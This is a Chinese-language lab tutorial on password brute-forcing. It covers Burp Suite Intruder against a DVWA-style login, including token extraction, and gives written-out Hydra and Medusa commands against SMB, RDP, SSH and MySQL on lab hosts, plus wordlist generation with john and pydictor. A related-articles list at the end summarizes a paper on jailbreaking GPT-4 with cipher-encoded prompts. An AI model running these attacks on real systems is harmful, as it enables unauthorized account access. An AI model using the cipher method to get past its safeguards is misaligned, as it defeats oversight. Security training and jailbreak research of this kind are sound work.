暴力破解笔记

news2024/11/25 9:42:06

1 暴力破解简介

暴力破解: 蛮力攻击,又称为穷举攻击,或暴力破解,将密码进行逐个尝试验证,直到尝试出真正的密码为止。

暴力破解是指采用反复试错的方法并希望最终猜对,以尝试破解密码或用户名或找到隐藏的网页,或者找到用于加密消息的密钥。

2 利用 Burpsuite 对 Web 应用进行暴力破解

2.1 实验界面

在暴力破解模块中输入用户名 admin,密码随之即可。先不要提交

开启代理

而后在暴力破解页面中提交。

2.2 抓包,点击 Send to intruder

点击 intruder---》Positions,在此界面中点击 Clear 把请求中的所有变量清除掉

我们需要对密码进行攻击,因此选中请求中的密码,点击 Add,把密码添加变量,表示只针对密码进行攻击。

2.3 Burpsuite 的 Intruder 模块

Inturder 模块可以将数据包里指定的参数设置成变量(变量也就是要准备攻击的目标),然后再利用字典文件去替换变量里的值,所以常用于自动化猜测或暴力破解过程中

Sniper 狙击手
攻击类型“Attack type”
Sniper:狙击手,可以指定多个变量同时进行破解,但只设置一个字典文件,将指定的变量挨个用字典内容进行替换。
Battering ram:攻城锤,可以指定多个变量,但仍只设置一个字典文件,将所有的变量一起用字典内容进行替换。
Ptichfork:草叉子,可以指定多个变量,但需要为每个变量分别设置一个字典文件,然后用对应的字典内容对变量同时进行替换。
Cluster bomb:集束炸弹,指定多个变量,并为每个变量分别设置一个字典文件,然后用字典内容组合对变量进行替换。
3载荷类型“Payload type”
Simple list:手动添加字典列表,也可以导入 Burpsuite 自带的字典,或者导入自定义的字典。
Runtime file:只能加载自定义的字典。
Numbers:设定一个数值范围,从范围内依次或随机取值进行测试。
Brute forcer:自己定义字符范围来生成字典文件。

payload type 选择 Runtime file,而指定密码字典并攻击

设置完成后,点击 开始攻击,查看暴力枚举结果:

得到密码:password,登录成功:

2.4 Low 级别

再选择第四种爆破(cluster bomb)的方式;

添加字典,开始字典爆破;

爆破成功

2.5 meduim 级别爆破

和 Low 级别爆破类似;前面的步骤与低级暴力破解步骤是一样的,不同的是,在点击 start attack 后,中级破解速度比初级要慢很多,因为有个 sleep 函数。破解完成之后也是会发现成功破解的字段长度是不同的,这就证明我们破解成功。

payload 选择 pitchfork

添加字典,开始字典爆破;

查看结果

2.6 high 级别爆破

我们查看 php 文件,发现增加了 user_token 参数,所以爆破要选择两个参数来进行。所以,我们这里不仅要爆破密码,还需要爆破用户令牌 user_token。

payload 选择 pitchfork

payload 1

Payload 2 设置为 递归;

线程设置为 1

Options

Grep-extract---add

Refetch reponse

复制 user_token

ok

粘贴到 payload options,开始爆破

爆破成功

3 hydra 工具在线破解密码

Hydra 对应的英文意思是九头蛇,它是一款爆破神器,可以对多种服务的账号和密码进行爆破,包括Web 登录、数据库、SSH、FTP 等服务,支持 Linux、Windows、Mac 平台安装,其中 Kali Linux 中自带 Hydra。

3.1 Hydra 破解 Windows 文件共享密码

在 Windows 系统当中,默认会启动一些文件共享,比如 C$ 或 ADMIN$(管理共享),而这些共

享是使用 smb 协议,因此我可以针对 smb 协议进行破解。

注:开启文件共享

在系统上确认一下是否有开启共享:

net share 命令可以查看 windows 有那些共享

Windows 2012 中开启文件共享之后在 Kali 中扫描 445 端口确保目标主机开启 455 端口

┌──(root㉿xuegod52)-[~] └─# nmap -p- 192.168.1.15

通过 john 工具生成简单的弱口令密码字典
┌──(root㉿xuegod52)-[~]
└─# john --wordlist --rules --stdout > pass.txt
hydra 命令参数:
-l #指定单个用户名称
-L #指定用户名称字典
-p #指定单个密码
-P #指定密码字典
-s #指定端口
-vV #显示详细的执行过程
破解 smb 文件共享密码
┌──(root㉿xuegod52)-[~]
└─# hydra -l administrator -P pass.txt smb://192.168.1.15 -vV

通过密码进行远程访问目标主机共享资源

在物理机或其他 windows 主机中打开运行窗口,开始菜单中点击运行,或者使用快捷键 Win+R \\192.168.1.15\c$

身份认证

发现可以正常访问,尝试一下创建文件或上传文件

删除记录访问的密码认证信息

3.2 Hydra 破解 windows 远程桌面密码

Windows 远程桌面使用的 rdp 协议,默认端口是 3389,系统中默认是没有开启远程桌面服务的,我这里是开启了

暴力破解远程桌面密码

┌──(root㉿xuegod52)-[~/桌面]
└─# hydra -l administrator -P pass.txt rdp://192.168.1.15 -vV

然后,用破解到的密码,在物理机远程桌面进行连接,在运行中输入 mstsc

远程连接成功。

3.3 Hydra 工具破解 ssh 协议密码

使用 hydra 工具进行破解 root 密码

┌──(root㉿xuegod52)-[~/桌面]

└─# hydra -l root -P pass.txt -t 4 ssh://192.168.1.24 -e nsr -vV -t

#通过-t 参数来指定线程数默认是 16 会造成服务器拒绝连接。 -e #-e 表示提供了更多测试选项。nsr 后面的字母对应更多的测试方式。 nsr 参数: n #是尝试空密码登录 s #是将用户名作为密码登录 r #是将用户名反过来作为密码登录。 如:用户名是 root,那么会使用 toor 尝试破解

4 Medusa 工具在线破解密码

4.1 Medusa 简介

在 Kali 中 Medusa 旨在成为一个迅速,大规模并行,模块化,爆破登录。目标支持大部分允许远程
登录的服务。以下是 Medusa 项目一些主要功能:
1、基于线程的并行测试。暴力测试可以同时对多个主机,用户或密码执行。
2、灵活的用户输入。目标信息(主机/用户/密码)可以用多种方式指定。例如,每个项目可以是单个
条目或包含多个条目的文件。另外,组合文件格式允许用户改进其目标列表。
3、模块化设计。每个服务模块都以独立的.mod 文件形式存在。这意味着核心应用程序不需要修改以
扩展支持的暴力服务列表。
官方网站:http://foofus.net/goons/jmk/medusa/medusa.html。
软件下载地址:https://github.com/jmk-foofus/medusa/archive/2.2.tar.gz
用法:Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M
module [OPT]
Medusa [-h 主机| -H 文件] [-u 用户名| -U 文件] [-p 密码| -P 文件] [-C 文件] -M 模块[OPT]
medusa 命令选项:
-h [TEXT] #目标 IP
-H [FILE] #目标主机文件
-u [TEXT] #用户名
-U [FILE] #用户名文件
-p [TEXT] #密码
-P [FILE] #密码文件
-C [FILE] #组合条目文件
-O [FILE] #文件日志信息
-e [n/s/ns] #n 意为空密码,s 意为密码与用户名相同
-M [TEXT] #模块执行名称
-m [TEXT] #传递参数到模块
-d #显示所有的模块名称
-n [NUM] #使用非默认端口
-s #启用 SSL
-r [NUM] #重试间隔时间,默认为 3 秒
-t [NUM] #设定线程数量
-L #并行化,每个用户使用一个线程
-f #在任何主机上找到第一个账号/密码后,停止破解
-q #显示模块的使用信息
-v [NUM] #详细级别(0-6)
-w [NUM] #错误调试级别(0-10)
-V #显示版本
-Z [TEXT] #继续扫描上一次
-F #破解到一个正确的密码即退出

4.2 Medusa 工具破解 linux root 用户登录密码

┌──(root㉿xuegod52)-[~/桌面]
└─# medusa -M ssh -h 192.168.1.24 -e ns -F -u root -P pass.txt

4.3 Medusa 破解 Mysql root 用户登录密码

安装 MySQL:
[root@piloteer120 ~]# yum -y install mariadb-server
启动 MySQL:
[root@piloteer120 ~]# systemctl start mariadb
Mysql 授权 root 用户允许远程登录
[root@piloteer120 ~]# mysql -u root -ppiloteer
MariaDB [(none)]> grant all privileges on *.* to 'root'@'%'identified by 'root' with grant option;
MariaDB [(none)]> exit;
进行暴力破解
root@piloteer101:~# medusa -M mysql -h 192.168.1.24 -e ns -F -u root -P pass.txt

验证远程登录 mysql 数据库
root@piloteer101:~# mysql -uroot -proot -h192.168.1.24
MariaDB [(none)]> show databases;

5 字典工具 pydictor

5.1 pydictor 介绍

Pydictor 是字典构建工具,该工具提供了大量的特性,可以用来为几乎任何测试情况创建完美的字典。

5.2 pydictor 安装

┌──(root㉿xuegod52)-[~/桌面]
└─# git clone https://github.com/LandGrey/pydictor.git
正克隆到 'pydictor'...
remote: Enumerating objects: 1084, done.
remote: Counting objects: 100% (134/134), done.
remote: Compressing objects: 100% (50/50), done.
remote: Total 1084 (delta 89), reused 110 (delta 84), pack-reused 950
接收对象中: 100% (1084/1084), 23.63 MiB | 8.56 MiB/s, 完成.
处理 delta 中: 100% (673/673), 完成.
┌──(root㉿xuegod52)-[~/桌面]
└─# cd pydictor/                                                                         
┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─# chmod +x pydictor.py

5.3 pydictor 生成字典

pydictor.py 参数说明:
-base 表示密码所使用的字符
-base 类型:
d digital [0 - 9] #数字
L lowercase letters [a - z] #小写字母
c capital letters [A - Z] #大写字母
-o #指定字典存放的位置

案例 1:生成全部由数字组成且长度为 3 到 6 的字典

┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─# python pydictor.py -base d --len 3 6

查看生成的字典:

┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─#vim results/base_210756.txt 

案例 2:使用数字、小写字母与大写字母 3 者组合的 2 到 3 位数的爆破字典,并把生成的字典存放在/opt/ pass1.txt

┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─#python pydictor.py -base dLc --len 2 3 -o /opt/pass1.txt

案例 3:使用特殊字符的自定义字符集字典

┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─#python pydictor.py -char '!@#$%^&*()_+* 0123456789' --len 3 5

案例 4:生成以 piloteer 开头,后面 4 位全为数字的字典

┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─#python pydictor.py -base d --len 4 4 --head piloteer -o /opt/pass3.txt

案例 5:将一个目录下多个字典合并去掉重复的记录

┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─# mkdir /tmp/pass
└─# python pydictor.py -base d --len 1 2 -o /tmp/pass/1.txt
└─#  python pydictor.py -base d --len 1 3 -o /tmp/pass/2.txt
└─#  echo 666666 >> /tmp/pass/1.txt
└─#  python pydictor.py -tool uniqbiner /tmp/pass/ #开始合并
└─#  vim /root/pydictor/results/uniqbiner_220300.txt

注:生成字典是非常耗时的一项工作,通常需要耗费数个小时。密码复杂度越高字典就越大耗时也会成倍的增加。

pydictor 字典工具拓展资料可参考:

pydictor/docs/doc/usage.md at master · LandGrey/pydictor · GitHub

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1559233.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

进无止境,砥砺前行,互联网营销专家杨建允助力多个品牌和机构提升营运效率!

进无止境,砥砺前行!在过去的一年(2023年),互联网营销专家杨建允持续为数十家品牌和机构提供了品牌和营销支持!统计如下:(排名不分先后) 滴滴; 企查查&#…

了解XSS和CSRF攻击与防御

什么是XSS攻击 XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的网络安全漏洞,它允许攻击者在受害者的浏览器上执行恶意脚本。这种攻击通常发生在 web 应用程序中,攻击者通过注入恶意脚本来利用用户对网站的信任&…

属性选择器

1.[title]{background:yellow;}:所有带title标签设置成黄色 2.div[class]{background:yellow;}:所有div中带class标签设置成黄色 3.div[classbox1]{border:1px solid blue; }:div中包含class并且classbox1的设置成蓝边框 4. class…

【Linux】进程实践项目 —— 自主shell编写

送给大家一句话: 不管前方的路有多苦,只要走的方向正确,不管多么崎岖不平,都比站在原地更接近幸福。 —— 宫崎骏《千与千寻》 自主shell命令编写 1 前言2 项目实现2.1 创建命令行2.2 获取命令2.3 分割命令2.4 运行命令 3 源代码…

python mysql错误如何处理

错误代码类型:pymysql.err.InternalError: (1054, "Unknown column jack in field list") import pymysql d_mysql {host: 127.0.0.1, port: 33333,user: *****,password: *****,db: *****,charset: utf8} conn pymysql.connect(**d_mysql) cur co…

基于SSM远程同步课堂系统

基于SSM远程同步课堂系统的设计与实现 摘要 在这样一个网络数据大爆炸的时代,人们获取知识、获取信息的通道非常的多元化,通过网络来实现数据信息的获取成为了现在非常常见的一种方式,而通过网络进行教学,在网络上进行远程的课堂…

C++--内联函数

当调用一个函数时,程序就会跳转到该函数,函数执行完毕后,程序又返回到原来调用该函数的位置的下一句。 函数的调用也需要花时间,C中对于功能简单、规模小、使用频繁的函数,可以将其设置为内联函数。 内联函数&#xff…

IAG—热门单曲

喜欢你😍 泡沫🫧 倒数 ... 太多了 句号 多远都要在一起 来自天堂的魔鬼 再见 ……

车载电子电器架构 —— 通信信号数据库开发

车载电子电器架构 —— 信号数据库开发 我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 屏蔽力是信息过载时代一个人的特殊竞争力,任何消耗你的人和事,多看一眼都是你的不对。非必要不费力证明自…

芒果YOLOv8改进130:Neck篇,即插即用,CCFM重构跨尺度特征融合模块,构建CCFM模块,助力小目标检测涨点

芒果专栏 基于 CCFM 的改进结构,改进源码教程 | 详情如下🥇 💡本博客 改进源代码改进 适用于 YOLOv8 按步骤操作运行改进后的代码即可 即插即用 结构。博客 包括改进所需的 核心结构代码 文件 YOLOv8改进专栏完整目录链接:👉 芒果YOLOv8深度改进教程 | 🔥 订阅一个…

TCP通信——端口转发(重点内容)

实现多人群聊 Client(客户端)建立通信 package com.zz.tcp.case1;import java.io.DataOutputStream; import java.io.IOException; import java.io.OutputStream; import java.net.Socket; import java.util.Scanner;public class Client {public static void mai…

论文笔记:GPT-4 Is Too Smart To Be Safe: Stealthy Chat with LLMs via Cipher

ICLR 2024 reviewer评分 5688 1 论文思路 输入转换为密码,同时附上提示,将加密输入喂给LLMLLM输出加密的输出加密的输出通过解密器解密 ——>这样的步骤成功地绕过了GPT-4的安全对齐【可以回答一些反人类的问题,这些问题如果明文问的话&…

Linux(CentOS 7 )基于git、maven实现springboot自动化部署

前提 1、已安装git、maven、java环境 不清楚的可以看另一篇文章: https://blog.csdn.net/weixin_44646763/article/details/137041469 2、已为项目设置远程 git 仓库 origin (可以通过:git remote add origin https://github.com/xxx/xxx.git设置) 创…

【Linux】详解软硬链接

一、软硬链接的建立方法 1.1软链接的建立 假设在当前目录下有一个test.txt文件,要对其建立软链接,做法如下: ln就是link的意思,-s表示软链接,test.txt要建立软链接的文件名,后面跟上要建立的软链接文件名…

设计模式深度解析:AI如何影响装饰器模式与组合模式的选择与应用

​🌈 个人主页:danci_ 🔥 系列专栏:《设计模式》《MYSQL应用》 💪🏻 制定明确可量化的目标,坚持默默的做事。 AI如何影响装饰器模式与组合模式的选择与应用 在今天这个快速发展的技术时代&#…

C语言-文件操作

🌈很高兴可以来阅读我的博客!🌟我热衷于分享🖊学习经验,🏫多彩生活,精彩足球赛事⚽🔗我的CSDN: Kevin ’ s blog📂专栏收录:C预言 1. 文件的作用 …

浅析AI大模型当前存在的技术瓶颈和限制及解决方案

方向五:未来发展趋势与挑战 提示:展望AI大模型学习的未来发展趋势,并讨论当前面临的主要挑战。可以关注新技术、新方法的出现,以及它们对AI大模型学习的影响;同时,也可以分析当前存在的技术瓶颈和限制&…

开源AI引擎:文本自动分类在公安及消防执法办案自动化中的应用

一、实际案例介绍 通过文本分类算法自动化处理文本数据,快速识别案件性质和关键特征,极大地提高了案件管理和分派的效率。本文将探讨这两种技术如何帮助执法机构优化资源分配,确保案件得到及时而恰当的处理,并增强公共安全管理的…

antd table 合并相邻相同单元格数据

antd 表格行/列合并 定义及使用 表头只支持列合并,使用 column 里的 colSpan 进行设置。 表格支持行/列合并,使用 onCell 里的单元格属性 colSpan 或者 rowSpan 设置。 设置为 0 时,设置的表格不会渲染(所以在设置的时候前面的…

刷LeetCode:冒泡排序详解 【2/1000 第二题】含imagemagick动态效果图

👤作者介绍:10年大厂数据\经营分析经验,现任大厂数据部门负责人。 会一些的技术:数据分析、算法、SQL、大数据相关、python 作者专栏每日更新: LeetCode解锁1000题: 打怪升级之旅 LeetCode解锁1000题: 打怪升级之旅htt…